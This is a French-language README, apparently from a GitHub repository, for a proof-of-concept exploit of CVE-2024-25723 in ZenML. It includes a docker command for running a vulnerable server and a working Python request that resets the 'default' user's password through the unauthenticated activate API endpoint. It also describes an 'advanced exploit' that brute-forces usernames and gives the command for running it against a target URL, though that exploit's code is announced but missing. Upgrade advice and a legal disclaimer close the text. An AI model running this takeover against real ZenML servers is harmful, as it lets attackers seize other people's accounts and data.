
Preuve de concept éducative pour CVE-2024-25723, démontrant une prise de contrôle non autorisée de compte dans ZenML via une réinitialisation de mot de passe API, avec détection de version et énumération de noms d'utilisateur par force brute.
Ce dépôt est dédié à l'adresse de CVE-2024-25723, une vulnérabilité de sécurité critique dans ZenML, avec une preuve de concept (PoC) éducative fournie pour illustrer le problème et encourager une correction rapide. La PoC montre comment un utilisateur non autorisé pourrait potentiellement exploiter la vulnérabilité pour prendre le contrôle de n'importe quel compte ZenML.
docker run -it -d -p 8080:8080 --name zenml zenmldocker/zenml-server:0.46.0
import requests
base_url = "http://localhost:8080"
user = "default"
new_password = "3gx9AbzP92rfHhZ"
activate_api_url = f"{base_url}/api/v1/users/{user}/activate"
activate_api_headers = {"Content-Type": "application/json"}
activate_api_json={"password": new_password}
activate_api_response = requests.put(activate_api_url, headers=activate_api_headers, json=activate_api_json)
print(activate_api_response.json())
La différence entre la PoC et l'exploit avancé est que l'exploit avancé force brutalement les noms d'utilisateurs les plus utilisés et est également capable de détecter si la version est vulnérable ou non via une API qui divulgue la version de ZenML. Pour utiliser l'exploit avancé, enregistrez le code suivant dans un fichier :
La commande pour exécuter cet exploit est :
python3 advanced-exploit-CVE-2024-25723.py https://example.com
Toutes les versions de ZenML antérieures à 0.46.7 sont vulnérables, à l'exception des versions de correctif suivantes : (0.44.4, 0.43.1, 0.42.2).
Mettez à niveau vers la dernière version (0.46.7 ou supérieure) ou l'une des versions corrigées (0.44.4, 0.43.1, 0.42.2) pour atténuer ce risque.
La preuve de concept (PoC) fournie dans ce dépôt est à des fins éducatives et de recherche en sécurité uniquement. Les informations et le code sont destinés à être utilisés par des professionnels et chercheurs en cybersécurité pour comprendre et se protéger contre les vulnérabilités des logiciels et systèmes. Toute utilisation de cette PoC, des informations connexes ou du code pour attaquer des cibles sans consentement mutuel préalable est illégale et strictement interdite.
En utilisant cette PoC, vous acceptez que vous comprenez l'impact potentiel de la vulnérabilité qu'elle démontre et que vous l'utiliserez de manière responsable et éthique. Les auteurs de cette PoC déclinent toute responsabilité pour toute mauvaise utilisation de ce matériel ou tout dommage pouvant survenir de l'utilisation des informations et du code fournis. Il est de la responsabilité de l'utilisateur final de respecter toutes les lois locales, étatiques, nationales et internationales applicables.
Les auteurs ont fait tous les efforts pour garantir l'exactitude et la fiabilité des informations fournies dans ce dépôt. Cependant, les informations sont fournies "en l'état" sans aucune garantie. Les auteurs n'acceptent aucune responsabilité quant à l'exactitude, le contenu, l'exhaustivité, la légalité ou la fiabilité des informations contenues.